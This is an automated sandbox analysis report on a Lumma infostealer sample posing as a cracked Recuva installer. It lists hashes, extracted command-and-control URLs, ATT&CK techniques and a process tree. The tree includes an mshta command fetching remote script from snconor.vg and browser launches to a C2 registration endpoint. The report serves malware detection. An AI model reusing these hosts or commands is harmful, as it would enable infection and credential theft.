lumma | 6438b20c7daa5840251216006275b6a19034a7c7542585549d9a3beeb0797de9

Analysis

max time kernel
298s
max time network
206s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260130-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260130-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
29/04/2026, 16:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
recuva_professional__technician_(2024)_full_español_[mega].exe
Size 770.2MB
Sample260429-tvsf5sdw4y
SHA256 6438b20c7daa5840251216006275b6a19034a7c7542585549d9a3beeb0797de9
MD5 ba4c76da5f1c55c4aceb6db449f0ff44
SHA1 c8d6f78f2f0aade59816c41f480415b4c77f23c3
SHA512 4aef8569fa50c156238e82577059d69150e78d5fd3b3880731c19b3dbf05b642f1a5f3d7c86c68b7e3ca8094248b21fb0b92b012ae3a427ad8350de3e60064db
SSDEEP 49152:12zoh9JSqXfKyKHJvnoE7okxlEJWMAvNZ7QdVfIXEbXoEoxl8z/ZgihQ0cpmWVgF:12zoh9kAGnoE73y6Qbbdo8vDBnYX3sx
TLSH
T1F989BE40B7E50062E1A7273095B6A267AB32BC150F35C7DF46A0B9AD3E777C09D32726
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware defense_evasion discovery execution lumma persistence spyware stealer

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://snconor.vg

Extracted

Family

lumma

https://springvc.cyou
https://decrnoj.club/xxx
https://pomflgf.vu/help
https://carytui.vu/caccc
https://mushxhb.best/info
https://genugsq.best/main
https://ulmudhw.shop/create
https://strikql.shop/owner
https://longmbx.click/manifest

Attributes

build_id
83af73e8484fc9f764374a223760d87d773a2c346e

Signatures

Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2204	1944	powershell.exe	82

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
95	1708	mshta.exe
97	1708	mshta.exe
99	1708	mshta.exe
101	1708	mshta.exe
104	1708	mshta.exe
105	1708	mshta.exe
106	2204	powershell.exe
108	2204	powershell.exe
119	2204	powershell.exe
120	5260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
1724	powershell.exe
5260	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
3892	conhost.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recuva_professional__technician_(2024)_full_español_[mega].exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5064	chrome.exe
5048	msedge.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\SOFTWARE\Microsoft\Internet Explorer\Styles\MaxScriptStatements = "10000000"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Software\Microsoft\Internet Explorer\Styles	mshta.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134219534589133161"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-880639880-2214913997-617214392-1000\{ACE74A4B-D83D-4D61-A690-2EC171CF0596}	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4732	schtasks.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	105	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3812	chrome.exe
3812	chrome.exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
3136	recuva_professional__technician_(2024)_full_español_[mega].exe
2204	powershell.exe
2204	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
5260	powershell.exe
1724	powershell.exe
1724	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
5568	msedge.exe
5568	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeShutdownPrivilege	3812	chrome.exe
Token: SeCreatePagefilePrivilege	3812	chrome.exe
Token: SeSecurityPrivilege	1708	mshta.exe
Token: SeSecurityPrivilege	1708	mshta.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeIncreaseQuotaPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeTakeOwnershipPrivilege	2204	powershell.exe
Token: SeLoadDriverPrivilege	2204	powershell.exe
Token: SeSystemProfilePrivilege	2204	powershell.exe
Token: SeSystemtimePrivilege	2204	powershell.exe
Token: SeProfSingleProcessPrivilege	2204	powershell.exe
Token: SeIncBasePriorityPrivilege	2204	powershell.exe
Token: SeCreatePagefilePrivilege	2204	powershell.exe
Token: SeBackupPrivilege	2204	powershell.exe
Token: SeRestorePrivilege	2204	powershell.exe
Token: SeShutdownPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeSystemEnvironmentPrivilege	2204	powershell.exe
Token: SeRemoteShutdownPrivilege	2204	powershell.exe
Token: SeUndockPrivilege	2204	powershell.exe
Token: SeManageVolumePrivilege	2204	powershell.exe
Token: 33	2204	powershell.exe
Token: 34	2204	powershell.exe
Token: 35	2204	powershell.exe
Token: 36	2204	powershell.exe
Token: SeBackupPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe
Token: SeSecurityPrivilege	2204	powershell.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
3812	chrome.exe
5568	msedge.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 3812	3136	recuva_professional__technician_(2024)_full_español_[mega].exe	83
PID 3812 wrote to memory of 4804	3812	chrome.exe	84
PID 3812 wrote to memory of 5540	3812	chrome.exe	85
PID 3812 wrote to memory of 5540	3812	chrome.exe	85
PID 3812 wrote to memory of 5064	3812	chrome.exe	86
PID 3812 wrote to memory of 2340	3812	chrome.exe	87
PID 3812 wrote to memory of 2340	3812	chrome.exe	87
PID 3812 wrote to memory of 2768	3812	chrome.exe	89
PID 3812 wrote to memory of 2768	3812	chrome.exe	89
PID 3812 wrote to memory of 4456	3812	chrome.exe	90
PID 3812 wrote to memory of 4456	3812	chrome.exe	90
PID 3812 wrote to memory of 1044	3812	chrome.exe	91
PID 3812 wrote to memory of 1044	3812	chrome.exe	91
PID 3812 wrote to memory of 2180	3812	chrome.exe	92
PID 3812 wrote to memory of 2180	3812	chrome.exe	92
PID 3812 wrote to memory of 1756	3812	chrome.exe	93
PID 3136 wrote to memory of 5568	3136	recuva_professional__technician_(2024)_full_español_[mega].exe	95
PID 5568 wrote to memory of 3336	5568	msedge.exe	96
PID 5568 wrote to memory of 5048	5568	msedge.exe	97
PID 5568 wrote to memory of 3516	5568	msedge.exe	98
PID 5568 wrote to memory of 560	5568	msedge.exe	99
PID 5568 wrote to memory of 3516	5568	msedge.exe	98
PID 5568 wrote to memory of 3516	5568	msedge.exe	98
PID 5568 wrote to memory of 560	5568	msedge.exe	99
PID 5568 wrote to memory of 5548	5568	msedge.exe	101
PID 5568 wrote to memory of 5548	5568	msedge.exe	101
PID 5568 wrote to memory of 5548	5568	msedge.exe	101
PID 5568 wrote to memory of 4460	5568	msedge.exe	102
PID 5568 wrote to memory of 4460	5568	msedge.exe	102
PID 5568 wrote to memory of 4460	5568	msedge.exe	102
PID 5568 wrote to memory of 3144	5568	msedge.exe	103
PID 5568 wrote to memory of 2600	5568	msedge.exe	104
PID 5568 wrote to memory of 3144	5568	msedge.exe	103
PID 5568 wrote to memory of 2600	5568	msedge.exe	104
PID 5568 wrote to memory of 5832	5568	msedge.exe	109
PID 5568 wrote to memory of 5832	5568	msedge.exe	109
PID 5568 wrote to memory of 3036	5568	msedge.exe	112
PID 3136 wrote to memory of 1708	3136	recuva_professional__technician_(2024)_full_español_[mega].exe	121
PID 2204 wrote to memory of 4732	2204	powershell.exe	127
PID 3892 wrote to memory of 5260	3892	conhost.exe	129
PID 5260 wrote to memory of 5480	5260	powershell.exe	130
PID 5480 wrote to memory of 556	5480	csc.exe	131
PID 5260 wrote to memory of 1724	5260	powershell.exe	132
PID 5260 wrote to memory of 3712	5260	powershell.exe	134
PID 5260 wrote to memory of 3712	5260	powershell.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\recuva_professional__technician_(2024)_full_español_[mega].exe
"C:\Users\Admin\AppData\Local\Temp\recuva_professional__technician_(2024)_full_español_[mega].exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" springvc.cyou/api/set_agent?id=BAB712BEBD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Chrome
  2⤵
  - Drops file in Windows directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ff83a79c728,0x7ff83a79c734,0x7ff83a79c740
    3⤵
    PID:4804
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1776,i,3921874419392905629,143627071538818476,262144 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2012 /prefetch:2
    3⤵
    PID:5540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,8608057106146952050,3285234246501057630,524288 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2348 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2392,i,11959625210381136408,13042166351177375869,524288 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2560 /prefetch:8
    3⤵
    PID:2340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3092,i,2715644929207131952,2364647256944117062,2097152 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3212 /prefetch:1
    3⤵
    PID:2768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3104,i,2866636098304961858,1258353004813321140,2097152 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:4456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4164,i,18199301876855259501,3807770935345413026,2097152 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4216 /prefetch:2
    3⤵
    PID:1044
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4624,i,16938976322161471753,2151370290020683796,524288 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4668 /prefetch:8
    3⤵
    PID:2180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5324,i,562683401857439016,2274843352400780948,524288 --field-trial-handle=2016,i,11820557917916251271,8613101627171919016,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5328 /prefetch:8
    3⤵
    PID:1756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" springvc.cyou/api/set_agent?id=BAB712BEBD24956701AEC7B30ADF174C&token=83af73e8484fc9f764374a223760d87d773a2c346e&description=&agent=Edge
  2⤵
  - Drops file in Windows directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x374,0x7ff8199fc188,0x7ff8199fc194,0x7ff8199fc1a0
    3⤵
    PID:3336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1776,i,85994798278648057,12589158561029034353,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:3
    3⤵
    - System Time Discovery
    PID:5048
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1648,i,9794998917618776450,166672779572084482,262144 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:2
    3⤵
    PID:3516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2264,i,11828412261056330076,15481932860361548318,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=2552 /prefetch:8
    3⤵
    PID:560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,9602788976218156717,10965223920485172622,2097152 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
    3⤵
    PID:5548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,3904927375283720378,6677521075613400757,2097152 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
    3⤵
    PID:4460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4924,i,10953773567203654306,16295505730256721865,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:8
    3⤵
    PID:3144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4928,i,10702041238915238599,5938784059174401296,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:8
    3⤵
    PID:2600
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5648,i,6096841150592227100,17090446187935141233,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:8
    3⤵
    PID:5832
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,6896786156201355622,11757639981066114470,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:8
    3⤵
    PID:2488
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6136,i,6896786156201355622,11757639981066114470,524288 --field-trial-handle=2516,i,365996347071210738,5444351649779693612,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:8
    3⤵
    PID:3036
- C:\Windows\SYSTEM32\mshta.exe
  mshta.exe https://snconor.vg
  2⤵
  - Badlisted process makes network request
  - Modifies Internet Explorer settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1708

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3064

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
